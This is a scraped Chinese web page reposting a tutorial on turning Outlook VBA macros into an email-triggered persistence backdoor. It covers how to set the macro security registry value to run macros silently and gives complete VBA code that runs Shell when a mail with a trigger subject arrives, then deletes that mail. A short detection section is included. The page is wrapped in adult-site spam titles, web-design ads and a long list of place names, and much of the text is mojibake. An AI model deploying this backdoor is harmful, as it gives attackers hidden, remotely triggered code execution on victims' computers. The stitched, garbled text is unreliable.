成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

本篇內(nèi)容主要講解“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”吧!

創(chuàng)新互聯(lián)是一家專業(yè)提供蒲城企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、HTML5、小程序制作等業(yè)務(wù)。10年已為蒲城眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。

技術(shù)分析

跟大多數(shù)的Microsoft Office產(chǎn)品一樣,Outlook也可以啟用開發(fā)者選項(xiàng),并通過VB編輯器來創(chuàng)建基于VBA的宏。打開編輯器,然后創(chuàng)建一個(gè)簡單的宏文件,你將會(huì)看到一個(gè)名為“ThisOutlookSession”的Outlook模塊:

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

保存這個(gè)宏之后,一個(gè)VbaProject.OTM文件將會(huì)在“%APPDATA%\Roaming\Microsoft\Outlook ”目錄中被創(chuàng)建:

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

在默認(rèn)配置下是無法執(zhí)行這個(gè)宏的,因?yàn)槟J(rèn)配置為“除了已簽名的宏之外,其他所有的宏都被禁用”。

但是,我們可以通過使用以下值創(chuàng)建Security注冊(cè)表項(xiàng)來修改此配置:

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

Level值定義的是宏安全配置,包含下列值:

4 = Disable all macros without notification

3 = Notifications for digitally signed macros, all other macros disabled

2 = Notifications for all macros

1 = Enable all Macros

如果想允許宏以隱蔽方式運(yùn)行而不通知用戶的話,我們需要設(shè)置“Level”值以在操作期間啟用所有宏。

通過檢查VbaProject.OTM文件,我們發(fā)現(xiàn)它是標(biāo)準(zhǔn)的Microsoft復(fù)合文檔文件(CDF):

dmc@deathstar ~  ? file ~/VbaProject.OTM

VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

對(duì)oledump.py進(jìn)行深入分析后,我們發(fā)現(xiàn)了包含宏代碼的OLE數(shù)據(jù)流:

dmc@deathstar ~  ? python oledump.py ~/VbaProject.OTM

  1:        43 'OutlookProjectData'

  2:       388 'OutlookVbaData/PROJECT'

  3:        59 'OutlookVbaData/PROJECTwm'

  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'

  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'

  6:       497 'OutlookVbaData/VBA/dir'

現(xiàn)在,我們已經(jīng)知道VbaProject.OTM是一個(gè)啟用了標(biāo)準(zhǔn)OLE宏的文檔,因此創(chuàng)建、混淆、清除和重載這些文件的傳統(tǒng)工具和技術(shù)仍然適用。接下來,我們看看如何將其轉(zhuǎn)換成一種持久化武器。

宏武器化

為了讓這種VBA代碼執(zhí)行技術(shù)轉(zhuǎn)換成對(duì)我們有用的東西,我們需要將代碼作為事件的結(jié)果執(zhí)行。ThisOutlookSession模塊允許我們訂閱Outlook中的各種事件,這就是我們實(shí)現(xiàn)代碼執(zhí)行的一個(gè)可用元素了。

針對(duì)持久化來說,目標(biāo)事件的潛在選項(xiàng)包括用戶驅(qū)動(dòng)的某些事件,比如說Outlook打開或用戶自行操作的某些事件,例如指定的郵件送達(dá)等等。對(duì)于我們的場(chǎng)景,我們將主要研究如何利用帶有特定主題的郵件來執(zhí)行任意的VBA。

為了確認(rèn)新郵件的接收時(shí)間,我們可以在Outlook啟動(dòng)時(shí)首先訂閱默認(rèn)收件箱的相關(guān)事件。首先,在注冊(cè)事件的同時(shí)在默認(rèn)收件箱文件夾(olInboxItems)中設(shè)置變量:

Option Explicit

Private WithEvents olInboxItems As Items

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

為了使用指向用戶收件箱的引用,我們可以使用“ItemAdd”回調(diào)來接收新消息抵達(dá)事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

End Sub

具體說來,我們只對(duì)接收的電子郵件感興趣,因此我們需要對(duì)回調(diào)進(jìn)行優(yōu)化,只允許新郵件來觸發(fā)我們的事件。這里可以通過驗(yàn)證郵件類型是否為“MailItem”來實(shí)現(xiàn):

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)  

    If TypeOf Item Is MailItem Then

        MsgBox "You have mail"

    End If

End Sub

當(dāng)然了,我們并不需要每一封接收到的郵件都觸發(fā)我們的事件,所以我們需要對(duì)郵件地址、主題和正文內(nèi)容等進(jìn)行過濾:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

持久化PoC

綜上所屬,讓我們來彈個(gè)計(jì)算器(calc.exe)試試:

Option Explicit

 

Private WithEvents olInboxItems As Items

 

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

 

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            Shell "calc.exe"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

PoC演示

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門

檢測(cè)

從目標(biāo)設(shè)備的角度來看,我們可以通過下列兩個(gè)關(guān)鍵指標(biāo)來檢測(cè)這種攻擊技術(shù):

  • 監(jiān)控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的創(chuàng)建和修改事件(Sysmon 事件 ID 11);

  • 監(jiān)控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注冊(cè)表鍵值的創(chuàng)建和修改事件(Sysmon 事件 ID 12);

到此,相信大家對(duì)“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”有了更深的了解,不妨來實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!

網(wǎng)頁題目:怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門
網(wǎng)頁路徑:http://jinyejixie.com/article12/igoegc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、網(wǎng)站設(shè)計(jì)公司定制開發(fā)、域名注冊(cè)、全網(wǎng)營銷推廣營銷型網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運(yùn)營
玉田县| 宜君县| 砚山县| 精河县| 嵊泗县| 庄河市| 长沙市| 忻州市| 衡阳市| 长春市| 乌拉特中旗| 彝良县| 昌黎县| 法库县| 绥中县| 固安县| 崇文区| 昭苏县| 和田市| 双流县| 弋阳县| 新乡县| 抚州市| 深泽县| 彭水| 衡阳市| 射洪县| 鱼台县| 磐石市| 富源县| 曲周县| 莱芜市| 凤山市| 沛县| 平利县| 吴江市| 沙坪坝区| 平湖市| 保靖县| 绥德县| 徐水县|